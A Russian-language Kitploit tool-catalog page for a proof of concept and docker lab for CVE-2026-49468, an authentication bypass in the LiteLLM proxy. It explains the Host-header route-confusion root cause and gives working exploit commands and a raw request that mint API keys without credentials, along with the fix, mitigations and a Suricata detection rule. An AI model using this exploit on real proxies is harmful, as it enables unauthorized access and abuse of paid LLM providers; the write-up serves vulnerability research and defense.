Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-49468-LiteLLM-Auth-Bypass — CVE-2026-49468 — LiteLLM (<1.84.0) обход аутентификации через путаницу маршрутов заголовка Host. PoC + docker lab. | Kitploit
Инструменты/GitHubGitHub/biitts/cve-2026-49468-litellm-auth-bypass
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеЛаборатории и Практика
GitHubbiitts/cve-2026-49468-litellm-auth-bypass

CVE-2026-49468-LiteLLM-Auth-Bypass

CVE-2026-49468 — LiteLLM (<1.84.0) обход аутентификации через путаницу маршрутов заголовка Host. PoC + docker lab.

Репозиторий
222 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-49468 — Обход аутентификации без авторизации в LiteLLM через путаницу маршрутов на основе Host-заголовка

Обход аутентификации/авторизации до аутентификации в прокси LiteLLM (BerriAI). Один поддельный заголовок Host заставляет прокси выполнять проверку аутентификации для публичного маршрута здоровья, в то время как FastAPI всё ещё выполняет защищённый обработчик управления — обслуживая запрос без ключа API.

CVECVE-2026-49468
ПродуктLiteLLM (BerriAI) proxy
Затронутые версии< 1.84.0 (verified on v1.83.14-stable)
Исправлено в1.84.0
КлассImproper Authentication (CWE-290) — route confusion
АутентификацияNone (pre-auth)
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (NVD)
CVSS 4.09.5 — AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H (GitHub)
СтатусПОДТВЕРЖДЕНО — bypass reproduced end-to-end; fix verified on 1.84.0

Весь эксплойт — это один заголовок: Host: evil/?


Основная причина

litellm/proxy/auth/auth_utils.py::get_request_route() получает маршрут, используемый для каждого решения об аутентификации, из request.url.path. Starlette перестраивает эту строку URL из контролируемого клиентом заголовка Host:

root@kitploit:~
# starlette/datastructures.py  (URL.__init__ from scope)
url = f"{scheme}://{host_header}{path}"      # host_header = attacker Host
...
@property
def path(self): return urlsplit(self._url).path

Маршрутизация FastAPI выполняется по исходному пути ASGI request.scope["path"]. Вставка символа ? в заголовок Host перемещает реальный путь запроса в строку запроса URL, поэтому восстановленный url.path сокращается до /:

root@kitploit:~
real request path (scope, FastAPI routes here) : /key/generate
Host header                                     : evil/?
reconstructed URL                               : http://evil/?/key/generate
urlsplit(...).path                              : /          <-- auth sees this

/ находится в LiteLLMRoutes.public_routes, и оба шлюза аутентификации замыкаются на публичных маршрутах, используя то же поддельное значение:

root@kitploit:~
# user_api_key_auth.py — authentication builder
if route in public_routes:                        # route == "/"
    return UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY)   # no API key required

# user_api_key_auth.py — authorization wrapper
if route in public_routes:                        # route == "/"
    return                                        # skips common_checks / admin-route enforcement

Исправление (1.84.0): get_request_route() теперь читает request.scope["path"] / scope["root_path"] напрямую, никогда не восстанавливая из заголовка Host.


Воздействие

Доступно без аутентификации (обслуживается как INTERNAL_USER_VIEW_ONLY):

  • POST /key/generate → создание действительного виртуального ключа API. Ключ работает как обычная аутентификация без заголовка обхода → постоянная аутентифицированная точка опоры и злоупотребление стоимостью провайдера.
  • POST /user/new → создание пользователей.
  • POST /chat/completions (+ /v1/models, /model/info) → неаутентифицированный вывод у настроенных LLM-провайдеров прокси.
  • GET /spend/logs, /settings, /get/config/callbacks → раскрытие конфигурации/телеметрии.

Конечные точки, защищённые встроенной проверкой PROXY_ADMIN, остаются заблокированными (/config/update, /model/new, /user/list, /key/list, повышение роли, прямое создание MCP), поэтому этот обход не даёт полного административного доступа к прокси или RCE на v1.83.14 — см. ANALYSIS.md.


Воспроизведение

root@kitploit:~
# 1. bring up a vulnerable + patched lab (auth enabled with a master key)
cd lab && docker compose up -d && cd ..

# 2. confirm the bypass
python3 exploit.py -u http://127.0.0.1:4000 check
#   [*] GET /user/list  no-bypass Host  -> 401
#   [*] GET /user/list  Host: evil/?    -> 403
#   [+] VULNERABLE: authentication bypassed (baseline 401, bypass reached the handler: 403).

# 3. mint an API key with no credentials
python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo
#   [+] Minted virtual API key (unauthenticated): sk-....

# 4. unauthenticated inference / enumeration
python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

# patched build (v1.84.0 on :4001) rejects the same requests with 401
python3 exploit.py -u http://127.0.0.1:4001 check

exploit.py использует только stdlib (http.client) и устанавливает заголовок Host дословно на уровне проводов. Действия: check, mint-key, user, chat, dump, raw METHOD PATH.

Сырой запрос

root@kitploit:~
POST /key/generate HTTP/1.1
Host: evil/?
Content-Type: application/json
Content-Length: 2

{}
root@kitploit:~
HTTP/1.1 200 OK

{"key":"sk-...", ...}

См. EVIDENCE.txt для полной матрицы базовых/обходных запросов, дискриминанта атакующего (evil → 401, evil/foo → 401, evil/? → 200) и границы исправленной версии.


Устранение

  • Обновите LiteLLM до версии 1.84.0 или новее.
  • Обходной путь, если вы не можете обновиться: разместите прокси за обратным прокси, который выполняет строгую проверку заголовка Host (отклоняет значения Host, содержащие /, ?, #), и установите master_key.

Обнаружение

Обход — это синтаксически некорректный заголовок Host. Пример правила Suricata:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)

Со стороны журнала: любой запрос, заголовок Host которого содержит /, ? или #, достигающий прокси LiteLLM.

Авторы

Caio Fabrício (BiiTts).

Только для авторизованных исследований и тестирования безопасности.

Скачать инструмент